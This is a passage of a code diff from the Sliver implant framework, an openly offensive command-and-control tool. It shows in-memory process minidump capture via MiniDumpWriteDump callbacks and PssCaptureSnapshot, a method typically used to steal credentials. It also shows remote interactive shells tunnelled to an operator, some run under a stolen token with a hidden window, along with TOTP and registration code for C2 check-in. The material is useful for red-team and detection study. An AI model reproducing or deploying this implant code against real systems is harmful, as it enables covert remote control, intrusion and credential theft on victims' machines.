callbackInput := MiniDumpCallbackInput{}
|
||||
ioCallback := MiniDumpIOCallback{}
|
||||
bufferSize := unsafe.Sizeof(callbackInput)
|
||||
data := make([]byte, bufferSize)
|
||||
dataPtr := uintptr(unsafe.Pointer(&data[0]))
|
||||
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
|
||||
buffReader := bytes.NewReader(data)
|
||||
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var procHandle uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
callbackInput.ProcessHandle = uintptr(procHandle)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ioHandle uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ioCallback.Handle = uintptr(ioHandle)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ioBuffer uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ioCallback.Buffer = uintptr(ioBuffer)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
callbackInput.Io = ioCallback
|
||||
return &callbackInput, nil
|
||||
}
|
||||
|
||||
func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
|
||||
callbackInput, err := getCallbackInput(callbackInputPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("getCallbackInput failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
switch callbackInput.CallbackType {
|
||||
case IoStartCallback:
|
||||
callbackOutput.Status = S_FALSE
|
||||
case IoWriteAllCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
outData := (*outDump)(unsafe.Pointer(callbackParam))
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
|
||||
if bytesAndOffset >= uint64(currentBuffSize) {
|
||||
increasedSize := IncrementSize
|
||||
if bytesAndOffset <= uint64(currentBuffSize*2) {
|
||||
increasedSize = int(currentBuffSize) * 2
|
||||
} else {
|
||||
increasedSize += int(bytesAndOffset)
|
||||
}
|
||||
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
}
|
||||
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
|
||||
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
|
||||
bytesRead += callbackInput.Io.BufferBytes
|
||||
case IoFinishCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
default:
|
||||
return TRUE
|
||||
}
|
||||
return TRUE
|
||||
}
|
||||
@@ -1,4 +1,6 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package proxy
|
||||
|
||||
// Copyright 2018, Rapid7, Inc.
|
||||
// License: BSD-3-clause
|
||||
@@ -13,8 +15,6 @@
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -0,0 +1,115 @@
|
||||
//go:build darwin || linux || freebsd || openbsd || dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os/exec"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
if enablePty {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
term, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: term,
|
||||
Stdin: term,
|
||||
}
|
||||
}
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
}
|
||||
@@ -20,30 +20,8 @@ package shell
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"os/exec"
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
"runtime"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
@@ -54,89 +32,12 @@ type Shell struct {
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
if enablePty && runtime.GOOS != "windows" {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
// cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
ptmx, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: ptmx,
|
||||
Stdin: ptmx,
|
||||
}
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
@@ -20,11 +21,11 @@ package shell
|
||||
*/
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"os"
|
||||
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
@@ -34,14 +35,6 @@ var (
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
type Shell struct {
|
||||
ID uint64
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
@@ -49,7 +42,7 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
@@ -58,9 +51,7 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -94,20 +85,3 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return sh
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -18,13 +18,23 @@ package shell
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
|
||||
powerShell = []string{
|
||||
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
|
||||
"-NoExit",
|
||||
// "-WindowStyle", "Hidden",
|
||||
"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
|
||||
}
|
||||
)
|
||||
@@ -39,3 +49,40 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return commandPrompt
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
filename, err := os.Executable()
|
||||
// Should not happen, but still...
|
||||
if err != nil {
|
||||
//TODO: build the absolute path to os.Args[0]
|
||||
// TODO: build the absolute path to os.Args[0]
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
PollInterval: uint32(transports.GetPollInterval() / time.Second),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -5,6 +5,8 @@ package syscalls
|
||||
//sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
|
||||
//sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
|
||||
//sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
|
||||
//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
@@ -35,5 +37,9 @@ package syscalls
|
||||
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
|
||||
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
|
||||
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
|
||||
//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
|
||||
|
||||
//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
|
||||
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
|
||||
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
|
||||
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
|
||||
@@ -5,6 +5,40 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
PSS_CAPTURE_NONE = iota
|
||||
PSS_CAPTURE_VA_CLONE
|
||||
PSS_CAPTURE_RESERVED_00000002
|
||||
PSS_CAPTURE_HANDLES
|
||||
PSS_CAPTURE_HANDLE_NAME_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_BASIC_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_TRACE
|
||||
PSS_CAPTURE_THREADS
|
||||
PSS_CAPTURE_THREAD_CONTEXT
|
||||
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
|
||||
PSS_CAPTURE_RESERVED_00000400
|
||||
PSS_CAPTURE_VA_SPACE
|
||||
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
|
||||
PSS_CAPTURE_IPT_TRACE
|
||||
PSS_CAPTURE_RESERVED_00004000
|
||||
PSS_CREATE_BREAKAWAY_OPTIONAL
|
||||
PSS_CREATE_BREAKAWAY
|
||||
PSS_CREATE_FORCE_BREAKAWAY
|
||||
PSS_CREATE_USE_VM_ALLOCATIONS
|
||||
PSS_CREATE_MEASURE_PERFORMANCE
|
||||
PSS_CREATE_RELEASE_SECTION
|
||||
|
||||
CONTEXT_i386 = 0x10000
|
||||
CONTEXT_i486 = 0x10000 // same as i386
|
||||
CONTEXT_CONTROL = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
|
||||
CONTEXT_INTEGER = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
|
||||
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0 // DS, ES, FS, GS
|
||||
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08 // 387 state
|
||||
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10 // DB 0-3,6,7
|
||||
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
|
||||
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
|
||||
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
|
||||
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
|
||||
LOGON32_LOGON_INTERACTIVE = 2
|
||||
LOGON32_LOGON_NETWORK = 3
|
||||
@@ -84,6 +118,19 @@ type MONITORINFO struct {
|
||||
DwFlags uint32
|
||||
}
|
||||
|
||||
type ProcessMemoryCounters struct {
|
||||
Cb uint32
|
||||
PageFaultCount uint32
|
||||
PeakWorkingSetSize int
|
||||
WorkingSetSize int
|
||||
QuotaPeakPagedPoolUsage int
|
||||
QuotaPagedPoolUsage int
|
||||
QuotaPeakNonPagedPoolUsage int
|
||||
QuotaNonPagedPoolUsage int
|
||||
PagefileUsage int
|
||||
PeakPagefileUsage int
|
||||
}
|
||||
|
||||
const (
|
||||
CCHDEVICENAME = 32
|
||||
CCHFORMNAME = 32
|
||||
|
||||
@@ -44,6 +44,8 @@ var (
|
||||
modUser32 = windows.NewLazySystemDLL("User32.dll")
|
||||
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
modpsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
|
||||
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
|
||||
procBitBlt = modGdi32.NewProc("BitBlt")
|
||||
@@ -72,12 +74,17 @@ var (
|
||||
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
|
||||
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
|
||||
procHeapFree = modkernel32.NewProc("HeapFree")
|
||||
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
|
||||
procHeapSize = modkernel32.NewProc("HeapSize")
|
||||
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
|
||||
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
|
||||
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
|
||||
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
|
||||
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
|
||||
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
|
||||
procRtlCopyMemory = modntdll.NewProc("RtlCopyMemory")
|
||||
procGetProcessMemoryInfo = modpsapi.NewProc("GetProcessMemoryInfo")
|
||||
)
|
||||
|
||||
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
|
||||
@@ -333,6 +340,24 @@ func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
|
||||
lpRes = uintptr(r0)
|
||||
if lpRes == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
|
||||
res = uint32(r0)
|
||||
if res == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
|
||||
if r1 == 0 {
|
||||
@@ -341,6 +366,14 @@ func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LI
|
||||
return
|
||||
}
|
||||
|
||||
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
|
||||
if r1 == 0 {
|
||||
@@ -381,3 +414,16 @@ func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
|
||||
syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
|
||||
return
|
||||
}
|
||||
|
||||
func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -30,6 +30,14 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -125,3 +133,18 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code: %s", code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
@@ -23,15 +25,18 @@ package transports
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -41,6 +46,61 @@ const (
|
||||
writeBufSizeNamedPipe = 1024
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
